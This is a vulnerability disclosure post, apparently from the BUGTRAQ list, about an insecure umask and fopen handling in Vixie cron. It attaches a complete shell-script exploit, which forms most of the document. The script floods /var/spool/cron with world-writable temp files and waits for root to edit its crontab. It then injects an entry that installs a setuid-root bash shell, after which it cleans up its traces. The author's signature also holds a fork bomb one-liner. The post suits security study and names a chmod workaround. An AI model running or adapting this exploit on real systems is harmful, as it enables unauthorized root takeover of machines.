Attached shell-script exploits fopen() + preserved umask vulnerability in
Paul Vixie's cron code. It will work on systems where /var/spool/cron is
user-readable (eg. 0755) - AFAIR Debian does so. RedHat (at least 6.1 and
previous) have mode 0700 on /var/spool/cron, and thus it isn't exploitable
in its default configuration... (ahmm, but this does NOT mean it is a
problem of o+rx bits, but of insecure umask() and fopen() calls).

I have no information about other distributions or systems - this exploit
should automagically detect if you are vulnerable or not (checking
/var/spool/cron, looking for Paul Vixie's crontab, etc). Please report
your findings to me and/or to BUGTRAQ.

If any of your users launched this exploit on screen, and then any other
user (including superuser) invoked "crontab -e" to change his/her crontab
entries, privledges elevation will occour. The main attack is performed
while root (or any other user, but this particular exploit is configured
against root - feel free to change it) is editing his crontab entry. After
any modification, when crontabs are updated, this exploit will try to
insert evil code over the original contents of the crontab file
(probability of successful exploitation is near to 100%). This, after
approximately one minute, leads to account compromise.

At the beginning, this exploit is trying to abuse crontab utility in order
to create somewhat enormous number of world-writable temporary files
(these files are open with fopen(), and then rename()d to destination name
- ugh!). It might take some time and cause less or more heavy load on
ancient boxes. After finishing it, exploit is waiting, consuming little or
no system resources, till "crontab -e" session will appear. For more
details, see exploit code.

Vendors were not notified because I have no idea which systems and distros
are shipping vulnerable configuration, and because pretty good workaround
is simple: chmod 700 /var/spool/cron.

_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=


[ attachment: xpl (text/plain) ]
#!/bin/sh

echo '.------------------------------------------------------------------------
-.'
echo '| Marchew Hyperreal Industries ................... <marchew@dione.ids.pl>
 |'
echo "| ( ...well, it is just me, but it is more elite to speak as a group... )
 |"
echo "\`--------------------------------- presents ----------------------------
--'"
echo
echo '  * another vixie-cron root sploit by Michal Zalewski <lcamtuf@ids.pl> *
  '
echo
echo '.------------------------------------------------------------------------
-.'
echo '| This time, it is somewhat more complicated. On some systems, it might
 |'
echo '| require some tuning, to be slower, but resources-effective. It expects
 |'
echo '| root (or other choosen user) to do "crontab -e" or "crontab /any/file"
 |'
echo '| sooner or later, and spoofs the legitimate cron entry file with evil
 |'
echo '| content, thus leading to account compromise (usually: root compromise).
 |'
echo "\`-----------------------------------------------------------------------
--'"
echo

CYCLES=32768
DESTUSER=root
SHOULDTOOK=60

VCRON="`strings /usr/bin/crontab 2>/dev/null|grep -i vixie`"

if [ "$VCRON" = "" ]; then
  echo "[-] Sorry, this box is not running vixie cron."
  echo
  exit 1
else
  echo "[+] Found Paul Vixie's /usr/bin/crontab utility."
fi


if [ -r /var/spool/cron ]; then
  echo "[+] This box has exploitable /var/spool/cron..."
else
  echo "[-] Sorry, this box is not vulnerable to this attack."
  echo
  exit 1
fi


if [ -u /usr/bin/crontab ]; then
  echo "[+] This box has setuid crontab utility..."
else
  echo "[-] Sorry, this box has no setuid crontab."
  echo
  exit 1
fi

cat >dowrite.c <<_EOF_
main() {
  lseek(1,0,0);
  write(1,"* * * * * /tmp/.rootcron\n\n",26);
  ftruncate(1,25);
}
_EOF_

echo "[+] Compiling helper application #1..."

gcc -o dowrite dowrite.c

if [ ! -f dowrite ]; then
  echo "[-] Compilation failed."
  echo
  exit 1
fi

echo "[+] Application #1 compiled successfully."

echo "[+] Creating helper application #2..."

cat >/tmp/.rootcron <<_EOF_
#!/bin/sh

(
  chown root.root /tmp/.r00tcr0n
  chmod 6755 /tmp/.r00tcr0n
  rm -f /var/spool/cron/tmp.*
  crontab -r
) &>/dev/null

_EOF_

cat >root.c <<_EOF_
main() {
  setuid(0); setgid(0);
  unlink("/tmp/.r00tcr0n");
  execl("/bin/bash","bash","-i",0);
  perror("bash");
}
_EOF_

echo "[+] Compiling helper application #3..."

gcc -o /tmp/.r00tcr0n root.c

if [ ! -f /tmp/.r00tcr0n ]; then
  echo "[-] Compilation failed."
  echo
  exit 1
fi

echo "[+] Application #3 compiled successfully."


X=0


if [ ! "$1" = "noprep" ]; then

  echo "[*] Attack against user $DESTUSER, doing $CYCLES setup cycles..."
  echo "    Please be patient, setup might took some time; to skip it if"
  echo "    /var/spool/cron on this machine is already initialized, use"
  echo "    '$0 noprep'."

  PROB=$[CYCLES*100/32768]
  test "$PROB" -gt "100" && PROB=100

  echo "[+] This gives almost $PROB% probability of success on the first attemp
t."

  while [ "$X" -lt "$CYCLES" ]; do
    X=$[X+1]
    echo -ne "\r[?] Doing cycle $X of $CYCLES [$[X*100/CYCLES]% done]... "
    umask 0
    ( ( crontab /dev/urandom & usleep 1000; killall crontab ) & ) &>/dev/null
  done

  sleep 3;killall -9 crontab &>/dev/null

  echo
  echo "[+] Setup complete, /var/spool/cron filled with junk tmp files."

  CNT=0

  echo "[*] Now, doing cleanup and counting the nodes..."

  for i in 1 2 3 4 5 6 7 8 9; do
    for j in /var/spool/cron/tmp.${i}*; do
      echo -n >$j
      echo -ne "\r[+] Node $CNT clean... "
      CNT=$[CNT+1]
    done
  done

  echo

  PROB=$[CNT*100/32768]

  echo "[+] Found $CNT nodes, approx. $PROB% chance..."

  if [ "$CNT" -lt "$[CYCLES*2/3]" ]; then
    echo "[-] Less than 66% of expected nodes were created. Try adjusting the e
xploit."
    echo
    exit 1
  fi

else

  echo "[?] Skipping /var/spool/cron initialization. Results might be unpredict
able."

fi

echo "[+] Now I will wait for $DESTUSER to edit his crontab. Could take some ti
me."

chmod 755 /tmp/.rootcron

while :; do
  sleep 1
  GOT="`ps auxhw|grep ^$DESTUSER|grep crontab|grep -v grep|cut -b10-15|head -1`
"
  test "$GOT" = "" && continue
  GOT=`echo $GOT`
  echo "[+] Caught victim at pid $GOT..."
  if [ ! -f /var/spool/cron/tmp.$GOT ]; then
    echo "[-] DAMN! We have no node for this pid, bad luck..."
    continue
  fi
  echo '[+] Got this node :) Entering event wait loop...'
  export DESTUSER
  (
     G=blabla
     while [ ! "$G" = "" ]; do
       G="`ps auxhw|grep ^$DESTUSER|grep crontab|grep -v grep`"
     done
     sleep 1
     echo "[+] Bingo! It happened. Now writing our evil content..." 1>&2
     ./dowrite
  ) >/var/spool/cron/tmp.$GOT
  echo '* * * * * /bin/true' >.ctab
  echo "[+] Evil content written. Trying to rehash the daemon..."
  crontab .ctab
  crontab -r
  echo "[+] Entering event loop waiting for exploit to work..."
  while [ ! -u /tmp/.r00tcr0n ]; do
    sleep 1
  done
  rm -f .ctab dowrite dowrite.c /tmp/.rootcron root.c
  echo "[+] Calling the main code..."
  /tmp/.r00tcr0n
  echo "[*] Thank you for choosing Marchew Industries."
  echo
  exit 1
done